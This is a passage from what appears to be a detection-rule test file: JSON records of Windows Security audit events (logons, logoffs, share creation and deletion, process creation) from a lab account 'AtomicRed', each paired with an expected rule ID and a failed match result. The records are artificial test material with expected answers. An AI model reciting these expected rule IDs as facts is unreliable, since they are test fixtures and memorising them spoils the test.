"win.eventdata.processId": "0x4fc", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x282141f", "win.eventdata.targetLogonId": "0x2821d60", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "HRMANAGER", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "1440430", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "716", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-16T20:02:37.9423951Z", "win.system.task": "12544", "win.system.threadID": "1160", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67022", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Local logons without network or service events "} +{"log": "{\"win\":{\"eventdata\":{\"targetLogonId\":\"0x282141f\",\"targetUserName\":\"AtomicRed\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"logonType\":\"2\"},\"system\":{\"eventID\":\"4634\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was logged off.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x282141F\\r\\n\\r\\nLogon Type:\\t\\t\\t2\\r\\n\\r\\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-16T20:02:37.9865361Z\",\"eventRecordID\":\"1440437\",\"threadID\":\"1160\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12545\",\"processID\":\"716\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.logonType": "2", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLogonId": "0x282141f", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4634", "win.system.eventRecordID": "1440437", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "716", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-16T20:02:37.9865361Z", "win.system.task": "12545", "win.system.threadID": "1160", "win.system.version": "0"}, "field_names": ["win.eventdata.logonType", "win.eventdata.targetDomainName", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67023", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "User logoff for all non-network logon sessions"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x282141f\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"127.0.0.1\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"HRMANAGER\",\"targetLogonId\":\"0x2821d60\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"AtomicRed\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1843\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x4fc\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"virtualAccount\":\"%%1843\",\"logonType\":\"5\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t11\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tNo\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x2821D60\\r\\n\\tLinked Logon ID:\\t\\t0x282141F\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x4fc\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tHRMANAGER\\r\\n\\tSource Network Address:\\t127.0.0.1\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2022-08-16T20:02:37.9423951Z\",\"eventRecordID\":\"1440430\",\"threadID\":\"1160\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"716\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1843", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "127.0.0.1", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "5", "win.eventdata.processId": "0x4fc", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x282141f", "win.eventdata.targetLogonId": "0x2821d60", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "HRMANAGER", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "1440430", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "716", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-16T20:02:37.9423951Z", "win.system.task": "12544", "win.system.threadID": "1160", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67024", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Service logon events if the user account isn't LocalSystem, NetworkService, LocalService"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x282141f\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"127.0.0.1\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"HRMANAGER\",\"targetLogonId\":\"0x2821d60\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"AtomicRed\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1843\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x4fc\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-19\",\"virtualAccount\":\"%%1843\",\"logonType\":\"5\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t11\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tNo\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x2821D60\\r\\n\\tLinked Logon ID:\\t\\t0x282141F\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x4fc\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tHRMANAGER\\r\\n\\tSource Network Address:\\t127.0.0.1\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2022-08-16T20:02:37.9423951Z\",\"eventRecordID\":\"1440430\",\"threadID\":\"1160\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"716\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1843", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "127.0.0.1", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "5", "win.eventdata.processId": "0x4fc", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x282141f", "win.eventdata.targetLogonId": "0x2821d60", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-19", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "HRMANAGER", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "1440430", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "716", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-16T20:02:37.9423951Z", "win.system.task": "12544", "win.system.threadID": "1160", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "60106", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Service logon events if the user is NetworkService"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"subjectUserSid\":\"S-1-5-18\",\"subjectDomainName\":\"EXCHANGETEST\",\"shareLocalPath\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Documents\",\"shareName\":\"\\\\\\\\\\\\\\\\*\\\\\\\\Documents\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"5142\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A network share object was added.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nShare Information:\\t\\r\\n\\tShare Name:\\t\\t\\\\\\\\*\\\\Documents\\r\\n\\tShare Path:\\t\\tC:\\\\Users\\\\AtomicRed\\\\Documents\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-17T17:24:47.1026768Z\",\"eventRecordID\":\"1464569\",\"threadID\":\"2144\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12808\",\"processID\":\"4\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.shareLocalPath": "C:\\\\Users\\\\AtomicRed\\\\Documents", "win.eventdata.shareName": "\\\\\\\\*\\\\Documents", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "5142", "win.system.eventRecordID": "1464569", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-17T17:24:47.1026768Z", "win.system.task": "12808", "win.system.threadID": "2144", "win.system.version": "0"}, "field_names": ["win.eventdata.shareLocalPath", "win.eventdata.shareName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67025", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Network create share"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"subjectUserSid\":\"S-1-5-18\",\"subjectDomainName\":\"EXCHANGETEST\",\"shareLocalPath\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Documents\",\"shareName\":\"\\\\\\\\\\\\\\\\*\\\\\\\\Documents\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"5144\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A network share object was deleted.\\r\\n\\t\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nShare Information:\\t\\r\\n\\tShare Name:\\t\\t\\\\\\\\*\\\\Documents\\r\\n\\tShare Path:\\t\\tC:\\\\Users\\\\AtomicRed\\\\Documents\\\"\",\"version\":\"0\",\"systemTime\":\"2022-08-17T17:24:47.1026768Z\",\"eventRecordID\":\"1464569\",\"threadID\":\"2144\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12808\",\"processID\":\"4\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.shareLocalPath": "C:\\\\Users\\\\AtomicRed\\\\Documents", "win.eventdata.shareName": "\\\\\\\\*\\\\Documents", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "5144", "win.system.eventRecordID": "1464569", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-17T17:24:47.1026768Z", "win.system.task": "12808", "win.system.threadID": "2144", "win.system.version": "0"}, "field_names": ["win.eventdata.shareLocalPath", "win.eventdata.shareName", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "67026", "rule_matches_expected": false, "ini_file": "windows_baseline_intrusion_detection.ini", "section": "Network delete share"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"parentProcessName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"subjectDomainName\":\"EXCHANGETEST\",\"tokenElevationType\":\"%%1938\",\"newProcessId\":\"0x1b50\",\"mandatoryLabel\":\"S-1-16-8192\",\"newProcessName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\dllhost.exe\",\"targetLogonId\":\"0x2749b2\",\"targetUserName\":\"AtomicRed\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x32c\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4688\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"A new process has been created.\\r\\n\\r\\nCreator Subject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nTarget Subject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x2749B2\\r\\n\\r\\nProcess Information:\\r\\n\\tNew Process ID:\\t\\t0x1b50\\r\\n\\tNew Process Name:\\tC:\\\\Windows\\\\System32\\\\dllhost.exe\\r\\n\\tToken Elevation Type:\\t%%1938\\r\\n\\tMandatory Label:\\t\\tS-1-16-8192\\r\\n\\tCreator Process ID:\\t0x32c\\r\\n\\tCreator Process Name:\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\tProcess Command Line:\\t\\r\\n\\r\\nToken Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.\\r\\n\\r\\nType 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.\\r\\n\\r\\nType 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.\\r\\n\\r\\nType 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.\\\"\",\"version\":\"2\",\"systemTime\":\"2022-08-17T17:51:34.4951868Z\",\"eventRecordID\":\"1483720\",\"threadID\":\"2012\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"13312\",\"processID\":\"4\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.mandatoryLabel": "S-1-16-8192", "win.eventdata.newProcessId": "0x1b50", "win.eventdata.newProcessName": "C:\\\\Windows\\\\System32\\\\dllhost.exe", "win.eventdata.parentProcessName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.processId": "0x32c", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLogonId": "0x2749b2", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.eventdata.tokenElevationType": "%%1938", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4688", "win.system.eventRecordID": "1483720", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "4", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2022-08-17T17:51:34.4951868Z", "win.system.task": "13312", "win.system.threadID": "2012", "win.system.version": "2"}, "field_names": ["win.eventdata.mandatoryLabel", "win.eventdata.newProcessId", "win.eventdata.newProcessName", "win.eventdata.parentProcessName", "win.eventdata.processId", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", 